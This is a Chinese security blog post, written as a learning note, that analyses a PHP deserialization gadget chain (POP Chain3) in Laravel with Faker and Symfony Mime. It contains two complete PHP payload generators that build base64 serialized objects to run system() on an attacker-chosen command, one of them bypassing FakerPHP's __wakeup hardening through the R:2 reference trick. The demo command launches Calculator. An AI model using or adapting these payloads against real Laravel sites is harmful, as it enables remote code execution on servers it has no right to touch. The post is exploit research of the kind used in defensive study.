长亭百川云 - 文章详情

Laravel反序列化 POP Chain3分析

bluE0x00

42

2024-07-14

前言

最近在忙hvv前准备,没看啥东西。

正文

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

该框架中存在一些反序列化的问题。

利用链的入口点为src/Illuminate/Broadcasting/PendingBroadcast.php ,查看其__destruct() 方法:

`<?php``   ``namespace Illuminate\Broadcasting;``   ``use Illuminate\Contracts\Events\Dispatcher;``   ``class PendingBroadcast``{`    `protected $events;`    `protected $event;``   `    `public function __construct(Dispatcher $events, $event)``{`        `$this->event = $event;`        `$this->events = $events;`    `}``   `        `......``   `    `public function __destruct()``{`        `$this->events->dispatch($this->event);`    `}``}`

逻辑很清晰,event与events可控,我们需要找到一个可利用的dispatch或call方法。

其中存在一条 src/Faker/Generator.php 利用链:

 `......``   ``public function format($format, $arguments = [])``{`    `return call_user_func_array($this->getFormatter($format), $arguments);``}``   `        `.......``   ``public function getFormatter($format)``{`    `if (isset($this->formatters[$format])) {`        `return $this->formatters[$format];`    `}``   `    `if (method_exists($this, $format)) {`        `$this->formatters[$format] = [$this, $format];`        `return $this->formatters[$format];`    `}``   `    `foreach ($this->providers as $provider) {`        `if (method_exists($provider, $format)) {`            `$this->formatters[$format] = [$provider, $format];``   `            `return $this->formatters[$format];`        `}`    `}``   `    `throw new \InvalidArgumentException(sprintf('Unknown format "%s"', $format));``}`        `   `        `......``   ``public function __get($attribute)``{`    `trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);``   `    `return $this->format($attribute);``}``   ``public function __call($method, $attributes)``{`    `return $this->format($method, $attributes);``}``   ``   `        `......`   

__call()会调用format进行初始化,而其中调用了call_user_func_array()方法进行函数调用,而callback字段由getFormatter()控制,这段我们是可控的(截图用的是Laravel 9.1.8): 

构造payload:

`<?php``namespace Faker;``   ``class Generator``{`    `protected $formatters = array();`    `public function __construct($xx)``{`        `$this->formatters = ['dispatch'=>$xx];`    `}``}``   ``namespace Illuminate\Broadcasting;``use Faker\Generator;``   ``class PendingBroadcast{`    `public $events;`    `public $event;``   `    `public function __construct($xx)``{`        `$this->events = new  Generator($xx);`        `$this->event = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";`    `}``   ``}``echo base64_encode(serialize(new PendingBroadcast('system')));``?>`

但FakerPHP zai1v1.12.1之后对这条链做了加固,在Generator.php 的 __wakeup() 方法中: 

formatters字段被置空,我们无法再调用任意函数。

于是在Laravel 9.1.8中出现了POP Chain3这条链,其实就是针对上述加固的绕过。

利用的是php反序列化的reference特性:

https://www.phpinternalsbook.com/php5/classes\_objects/serialization.html   

由inhann师傅提出的demo如下:

https://inhann.top/2022/05/17/bypass\_wakeup/

由于该R:2特性的原因,使得两个序列化变量指向的值为同一个(听起来很像指针)。

demo:

demo1变量值的变化同样会影响到demo2。

利用此特性可以在__wakeup()方法将formatters字段置空后再对其变量值进行“ 引用 ”。

核心绕过逻辑:

1.找到一个类$demo,其中有一个赋值完全可控的属性$xx(最好使用__wakeup()或__destruct()进行赋值)。

2.将Faker\Generator 的 $this->formatters 与 $demo 的 $xx通过reference特性指向同一值。

3.在Faker\Generator 的__wakeup()方法执行后,__destrcut()方法执行前,对$xx进行赋值。

inhann师傅给出的三条链如下:

  • Part/SMimePart.php

  • Part/DataPart.php

  • Part/TextPart.php  

查看Part/TextPart.php:

这个类来自 https://github.com/symfony/mime ,其  $headers 属性继承自其父类 AbstractPart__wakeup() 当中使用反射给 $headers 赋值。

改造之前的poc:

`<?php``   ``namespace Faker {`    `class Generator {`        `protected $providers = [];`        `protected $formatters = [];`        `function __construct() {`            `$this->formatter = "dispatch";`            `$this->formatters = 9999;`        `}`    `}``}``   ``namespace Illuminate\Broadcasting {`    `class PendingBroadcast {`        `public function __construct() {`            `$this->event = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";`            `$this->events = new \Faker\Generator();`        `}`    `}``}``   ``namespace Symfony\Component\Mime\Part {`    `abstract class AbstractPart {`        `private $headers = null;`    `}``   `    `class TextPart extends AbstractPart {`        `protected $_headers;`        `public $bluE0;`        `function __construct() {`            `$this->_headers = ["dispatch"=>"system"];`            `$this->bluE0 = new \Illuminate\Broadcasting\PendingBroadcast();`        `}`    `}``}``   ``namespace {`    `$pop = new \Symfony\Component\Mime\Part\TextPart();`    `$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));`    `echo base64_encode(str_replace("i:9999","R:2",$ser));``}`
  1. 让 Faker\Generator 的 $this->formatters 引用到 Symfony\Component\Mime\Part\TextPart 继承的 $headers。

将Textpart 继承的 $headers 的序列化数据排列到 Faker\\Generator 的 $this->formatters 的序列化数据之前。
让Faker\\Generator 是  Symfony\\Component\\Mime\\Part\\TextPart 的一个属性 ,这样一来  Textpart 的 \_\_wakeup 才会在  Faker\\Generator 的 \_\_wakeup 之后执行。

https://inhann.top/2022/05/17/bypass\_wakeup/

后记

php不是很了解,就当篇学习笔记吧。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2